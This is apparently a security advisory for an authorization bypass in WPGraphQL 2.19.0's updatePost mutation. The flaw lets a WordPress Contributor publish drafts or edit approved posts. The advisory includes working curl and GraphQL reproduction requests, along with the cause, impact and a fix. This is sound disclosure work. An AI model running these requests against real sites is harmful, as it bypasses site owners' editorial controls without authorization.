GHSA-5mmc-8pc9-wggg: Medium severity composer/wp-graphql/wp-graphql vulnerability
Summary
WPGraphQL 2.19.0 contains an authorization bypass in the updatePost mutation. An authenticated WordPress Contributor can change one of their own draft posts to PUBLISH despite lacking the publishposts capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking editpublishedposts and failing WordPress's object-level editpost capability check.
This bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.
Affected software
- Plugin: WPGraphQL - Plugin slug: wp-graphql - Confirmed affected version: 2.19.0 - Plugin URL: https://wordpress.org/plugins/wp-graphql/ - Repository: https://github.com/wp-graphql/wp-graphql - WordPress version used for testing: 7.0.2 - WPGraphQL configuration: default settings
Only version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.
Vulnerability type
- Broken access control / authorization bypass - CWE-863: Incorrect Authorization - OWASP 2021: A01 – Broken Access Control - Minimum required role: Contributor
Technical cause
src/Mutation/PostObjectUpdate.php checks only the post type's collection-level editposts capability:
php if ( ! isset( $posttypeobject->cap->editposts ) || ! currentusercan( $posttypeobject->cap->editposts ) ) { // Reject request. }
It separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check:
php currentusercan( $posttypeobject->cap->editpost, $postid )
It also does not check publishposts when the requested update changes the post status to publish. The mutation passes the requested status directly to wpupdatepost(), which expects its caller to have already enforced authorization.
By comparison, WPGraphQL's createPost implementation explicitly checks publishposts and changes an unauthorized requested status to pending. This protection is absent from updatePost.
Preconditions
1. WPGraphQL 2.19.0 is installed and activated using its default settings. 2. The attacker controls a normal WordPress Contributor account. 3. The attacker can authenticate to /graphql, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid wpgraphql/wprest nonce.
No administrator action beyond assigning the standard Contributor role is required. The Contributor role has editposts, but does not have publishposts or editpublishedposts.
Reproduction
The following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.
1. Create a draft as the Contributor
bash curl --user 'gqlcontributor:APPLICATIONPASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"query":"mutation { createPost(input:{title:\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId title status } } }"}' \ 'https://wordpress.example/graphql'
Example response:
json { "data": { "createPost": { "post": { "databaseId": 21, "title": "Contributor publication bypass test", "status": "draft" } } } }
Record the returned databaseId. The example below uses 21.
2. Verify that WordPress REST denies publication
Using the same Contributor credentials, attempt to publish the draft through the WordPress REST API:
bash curl --user 'gqlcontributor:APPLICATIONPASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"status":"publish"}' \ 'https://wordpress.example/wp-json/wp/v2/posts/21'
Expected control response:
json { "code": "restcannotpublish", "message": "Sorry, you are not allowed to publish posts.", "data": { "status": 403 } }
This establishes that the Contributor lacks the WordPress capability required for the operation.
3. Publish the same draft through WPGraphQL
bash curl --user 'gqlcontributor:APPLICATIONPASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId title status uri } } }"}' \ 'https://wordpress.example/graphql'
Observed response on WPGraphQL 2.19.0:
json { "data": { "updatePost": { "post": { "databaseId": 21, "title": "Contributor publication bypass test", "status": "publish", "uri": "/contributor-publication-bypass-test/" } } } }
The post is now publicly accessible without editorial approval.
4. Verify public exposure remotely
Open the returned uri without authentication, or query it without credentials:
bash curl -H 'Content-Type: application/json' \ --data-binary '{"query":"query { post(id:\"21\", idType:DATABASEID) { databaseId title status uri } }"}' \ 'https://wordpress.example/graphql'
The post is returned with status publish.
Additional affected operation
If an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack editpublishedposts. Nevertheless, the following mutation changes its title and content:
graphql mutation { updatePost(input: { id: "PUBLISHEDPOSTDATABASEID" title: "Unauthorized change after editorial approval" content: "The Contributor can replace previously approved content." }) { post { databaseId title status } } }
In live testing, the REST API returned 403 restcannotedit for this operation while WPGraphQL returned the modified published post.
Security impact
A compromised or malicious Contributor account can bypass the site's editorial approval boundary and:
- Publish arbitrary posts without an Editor or Administrator approving them. - Publish spam, phishing, misleading, or SEO content under the attacker's account. - Modify content after an Editor has reviewed and published it. - Change the status of the attacker's previously published posts, potentially removing approved content from public view. - Repeat the process for additional drafts because Contributors can normally create drafts.
The issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML.
Suggested remediation
Before updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior:
php if ( ! isset( $posttypeobject->cap->editpost ) || ! currentusercan( $posttypeobject->cap->editpost, $postid ) ) { throw new UserError( / authorization error / ); }
Status transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's publishposts capability. Tests should cover at least:
- Contributor updating their own draft: allowed. - Contributor publishing their own draft: denied or changed to pending. - Contributor editing their own previously published post: denied. - Author publishing and editing their own post: allowed. - Contributor editing another author's post: denied.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Compensating control
Update WPGraphQL's updatePost authorization logic to enforce the post type's object-level edit_post capability for the target post ID (equivalent to current_user_can( $post_type_object->cap->edit_post, $post_id )), and require the post type's publish_posts capability whenever a status transition requests publish or another public/future status.
Event History
Frequently Asked Questions
Who can exploit this issue?
An authenticated WordPress user with the Contributor role can exploit it against posts they own. They do not need the publish_posts capability to publish their own draft through the WPGraphQL updatePost mutation.
What unauthorized actions are possible?
A Contributor can change their own draft post to PUBLISH. They can also modify their own previously published posts despite lacking edit_published_posts and failing WordPress's object-level edit_post capability check.
Is a non-default WPGraphQL configuration required?
No. The issue was tested with WPGraphQL default settings.
How can I determine whether my deployment is confirmed affected?
Check whether the wp-graphql plugin is version 2.19.0, which is the confirmed affected version. The issue was tested with WordPress 7.0.2; earlier WPGraphQL releases show a similar authorization pattern in source history but were not independently tested.
Does this affect the equivalent WordPress REST API operations?
The equivalent operations through the WordPress REST API correctly reject these actions for the same Contributor user. The reported bypass is in WPGraphQL's updatePost mutation.